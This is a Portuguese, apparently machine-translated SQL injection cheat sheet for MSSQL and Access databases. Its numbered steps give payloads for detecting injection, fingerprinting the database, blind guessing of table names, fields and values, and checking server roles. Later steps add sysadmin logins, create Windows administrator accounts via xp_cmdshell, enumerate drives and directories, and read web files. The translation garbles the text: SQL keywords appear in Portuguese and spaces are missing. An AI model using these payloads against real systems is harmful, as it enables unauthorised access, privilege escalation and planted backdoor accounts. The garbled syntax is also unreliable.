1. Determine se há injeção
; And1 = 1
; And1 = 2
2. Julgamento preliminar sobre se é MSSQL
; AndUser> 0
3. Os parâmetros de injeção são caracteres
'e [condição de consulta] e' '='
4. Sem parâmetros de filtragem durante a pesquisa
'e [condição de consulta] e'%25 '='
5. JUSE JUSTO DATABASE SISTEMA
; e (selectCount (*) FromSysObjects)> 0mSSQL
; e (selectCount (*) FromsSysObjects)> 0Access
6. Adivinhe o banco de dados
; e (selectCount (*) de [nome do banco de dados])> 0
7. Adivinhe o campo
; e (selectCount (nome do campo) do nome do banco de dados)> 0
8. Adivinhe o comprimento do recorde no campo
; e (selectTop1len (nome do campo) do nome do banco de dados)> 0
9. (1) Adivinhe o valor ASCII do campo (acesso)
; e (selectTop1asc (MID (Nome do campo, 1, 1)) do nome do banco de dados)> 0
(2) Adivinhe o valor ASCII do campo (MSSQL)
; e (selectTop1Unicode (substring (nome do campo, 1, 1)) do nome do banco de dados)> 0
10. Estrutura de permissão de teste (msSQL)
; e1 = (selectis_srvrolember ('sysadmin'));-
; e1 = (selectIs_srvrolember ('serverAdmin');--
; e1 = (selectIs_srvrolemEmber ('Setupadmin'));-
; e1 = (selectis_srvrolember ('SecurityAdmin'));-
; And1 = (selectis_srvrolember ('diskadmin');--
; e1 = (selectis_srvrolember ('Bulkadmin'));-
; e1 = (selectIs_member ('db_owner'));-
11. Adicione a conta do MSSQL e do sistema
; Execmaster.dbo.sp_addloginusername;--
; execmaster.dbo.sp_passwordNull, nome de usuário, senha;-
; execmaster.dbo.sp_addsrvrolemembersysadminUsername;-
; Execmaster.dbo.xp_cmdshell'NetUserUserNamePassword/WorkStations:*/Times: All/Passwordchg: Yes/PasswordReq: Sim/Active: Sim/Adicionar ';---
; Execmaster.dbo.xp_cmdshell'NetUserUserNamePassword/add ';-
; Execmaster.dbo.xp_cmdshell'netlocalgroupAdministratorsUserName/add ';-
12. (1) Transfira o diretório
;
; insertdirsexecmaster.dbo.xp_dirtree'c:/'
; e (selectTop1PathsFromdirs)> 0
; e (selectTop1PathsFromdirswherephsnotin ('caminhos obtidos da etapa anterior'))>)
(2) atravessar o diretório
; CreateTableTemp (idnvarchar (255), num1nvarchar (255), num2Nvarchar (255), num3Nvarchar (255));-
; inserttempexecmaster.dbo.xp_availablemedia; -Tere todas as unidades atuais
; insertIntotemp (id) execmaster.dbo.xp_subdirs'c:/';-Obtenha uma lista de subdiretório
; insertIntotemp (id, num1) execmaster.dbo.xp_dirtree'c:/';-Obtenha a estrutura da árvore do diretório de todos os subdiretos
; insertIntotemp (id) execmaster.dbo.xp_cmdshell'typec: /web/index.asp ';-Veja o conteúdo do arquivo